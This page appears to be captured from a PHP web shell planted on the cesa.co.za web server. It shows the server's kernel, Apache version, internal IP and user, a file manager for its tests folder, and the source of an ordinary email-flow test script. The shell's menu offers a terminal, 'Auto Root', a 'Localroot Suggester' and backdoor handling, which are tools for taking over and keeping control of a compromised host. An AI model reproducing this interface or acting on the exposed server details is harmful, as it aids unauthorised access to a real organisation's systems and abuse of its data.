Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
php /
tests /
Delete
Unzip
Name
Size
Permission
Date
Action
raw_email.php
549.13
KB
-rw-r--r--
2025-07-07 15:54
test_complete_mail_flow.php
4.71
KB
-rw-r--r--
2025-07-07 15:54
test_encoding_fix.php
4.68
KB
-rw-r--r--
2025-07-07 15:54
test_error_handler.php
2.13
KB
-rw-r--r--
2025-07-07 15:54
test_mail_parsing.php
6.16
KB
-rw-r--r--
2025-07-07 15:54
Save
Rename
<?php /** * Test script for complete mail flow * * This script tests the entire flow from processSend to actual email sending * to ensure the isHTML flag is properly passed through the system. */ // Include the mail class include_once($_SERVER['DOCUMENT_ROOT'] . '/php/includes/mail/MailMessages.php'); include_once($_SERVER['DOCUMENT_ROOT'] . '/php/includes/maill.php'); echo "<h1>Complete Mail Flow Test</h1>"; // Test email data with HTML content but Content-Type: text/plain $testEmail = 'From: website@cesa.co.za Reply-To: website@cesa.co.za To: cesa@igotafrica.com Subject: Test Complete Mail Flow Content-Type: text/plain Date: Fri, 4 Jul 2025 11:42:42 +0000 <!DOCTYPE html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> </head> <body> <p>This is the HTML version of the email.</p> <p><strong>Engineering excellence spotlighted as CESA launches 2025 industry awards</strong></p> </body> </html>'; echo "<h2>Step 1: Testing splitMessageParts</h2>"; $parts = MailMessages::splitMessageParts($testEmail); echo "<pre>"; echo "Content-Type Header: " . (isset($parts['headers']['Content-Type']) ? $parts['headers']['Content-Type'] : 'No Content-Type') . "\n"; echo "Text Message Length: " . strlen($parts['text_message']) . "\n"; echo "HTML Message Length: " . strlen($parts['html_message']) . "\n"; echo "Detected as HTML: " . (strlen($parts['html_message']) > 0 ? 'YES' : 'NO') . "\n"; echo "</pre>"; echo "<h2>Step 2: Testing processSend logic</h2>"; // Simulate the processSend logic $isHTML = false; $contentType = ''; if (strlen($parts['multipart_message']) > 0) { $parts['message'] = $parts['multipart_message']; $isHTML = false; $contentType = 'multipart/related'; } elseif (strlen($parts['html_message']) > 0) { $parts['message'] = $parts['html_message']; $isHTML = true; } else { $parts['message'] = $parts['text_message']; } $options = [ 'reply-to-address' => 'website@cesa.co.za', 'from-name' => 'Test Sender', 'isHTML' => $isHTML, 'attachments' => [], 'content-type' => $contentType, ]; echo "<pre>"; echo "Final Message Length: " . strlen($parts['message']) . "\n"; echo "isHTML Flag: " . ($isHTML ? 'TRUE' : 'FALSE') . "\n"; echo "Content Type: " . $contentType . "\n"; echo "Options JSON: " . json_encode($options) . "\n"; echo "</pre>"; echo "<h2>Step 3: Testing maill function with options</h2>"; // Test the maill function with the options $testRecipient = 'test@example.com'; // Use a test email $testSubject = 'Test HTML Detection - ' . date('Y-m-d H:i:s'); echo "<p>Testing maill function with isHTML = " . ($isHTML ? 'true' : 'false') . "</p>"; // Note: This would actually send an email, so we'll just show the configuration echo "<pre>"; echo "Recipient: " . $testRecipient . "\n"; echo "Subject: " . $testSubject . "\n"; echo "Message Length: " . strlen($parts['message']) . "\n"; echo "Options: " . json_encode($options) . "\n"; echo "</pre>"; echo "<h2>Step 4: Simulating ToSendProcess logic</h2>"; // Simulate what ToSendProcess.php would do $storedOptions = json_encode($options); $storedHeaders = "From: " . $parts['from'] . "\r\n" . "Reply-To: " . $parts['from'] . "\r\n" . "Content-Type: " . (isset($parts['headers']["Content-Type"]) ? $parts['headers']["Content-Type"] : 'text/plain') . "\r\n"; echo "<pre>"; echo "Stored Options: " . $storedOptions . "\n"; echo "Stored Headers: " . $storedHeaders . "\n"; echo "</pre>"; // Simulate the ToSendProcess logic if ($storedOptions != '') { $decodedOptions = json_decode($storedOptions, true); echo "<p>Using Options (Priority 1): isHTML = " . (isset($decodedOptions['isHTML']) && $decodedOptions['isHTML'] ? 'true' : 'false') . "</p>"; } elseif ($storedHeaders != '') { echo "<p>Using Headers (Priority 2): headers_raw approach</p>"; } else { echo "<p>Using Default (Priority 3): isHTML = false</p>"; } echo "<h2>Summary</h2>"; echo "<p><strong>Expected Result:</strong> The email should be sent as HTML because:</p>"; echo "<ol>"; echo "<li>The content contains HTML tags (<!DOCTYPE html>, <html>, etc.)</li>"; echo "<li>The splitMessageParts function correctly detects this as HTML content</li>"; echo "<li>The processSend function sets isHTML = true</li>"; echo "<li>The Options field is stored in the database with isHTML = true</li>"; echo "<li>ToSendProcess.php prioritizes Options over Headers</li>"; echo "<li>The maill function receives isHTML = true and sets Content-Type to text/html</li>"; echo "</ol>"; echo "<p><strong>Previous Issue:</strong> The email was being sent as text/plain because the Options field wasn't being stored or used properly.</p>"; echo "<p><strong>Fix Applied:</strong> Now the Options field is stored and prioritized in ToSendProcess.php.</p>";